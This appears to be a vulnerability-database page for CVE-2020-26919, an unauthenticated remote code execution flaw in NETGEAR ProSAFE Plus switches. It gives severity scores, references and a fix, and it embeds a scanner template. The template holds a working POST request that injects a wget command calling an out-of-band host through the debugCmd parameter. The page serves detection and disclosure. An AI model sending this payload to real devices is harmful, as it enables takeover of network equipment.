CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.8%
NETGEAR ProSAFE Plus before 2.6.0.43 is susceptible to unauthenticated remote code execution. Any HTML page is allowed as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands.
id: CVE-2020-26919
info:
name: NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution
author: gy741
severity: critical
description: NETGEAR ProSAFE Plus before 2.6.0.43 is susceptible to unauthenticated remote code execution. Any HTML page is allowed as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
remediation: |
Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
reference:
- https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches/
- https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2020-26919
- https://kb.netgear.com/000062334/Security-Advisory-for-Missing-Function-Level-Access-Control-on-JGS516PE-PSV-2020-0377
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-26919
epss-score: 0.97285
epss-percentile: 0.99849
cpe: cpe:2.3:o:netgear:jgs516pe_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: netgear
product: jgs516pe_firmware
tags: cve,cve2020,netgear,rce,oast,router,unauth,kev
http:
- raw:
- |
POST /login.htm HTTP/1.1
Host: {{Hostname}}
Accept: */*
submitId=debug&debugCmd=wget+http://{{interactsh-url}}&submitEnd=
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 4b0a00483046022100d2e91cf5797e148b54ee16ff4a7527477ceef3ac4051306dd1a029f075032ff70221009edba962cee52737ac2d8f232b2701ea2f789aefa1b7c4a87beb542aeec67bb3:922c64590222798bb761d5b6d8e72950
github.com/ARPSyndicate/kenzer-templates
kb.netgear.com/000062334/Security-Advisory-for-Missing-Function-Level-Access-Control-on-JGS516PE-PSV-2020-0377
nvd.nist.gov/vuln/detail/CVE-2020-26919
research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches/
unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.8%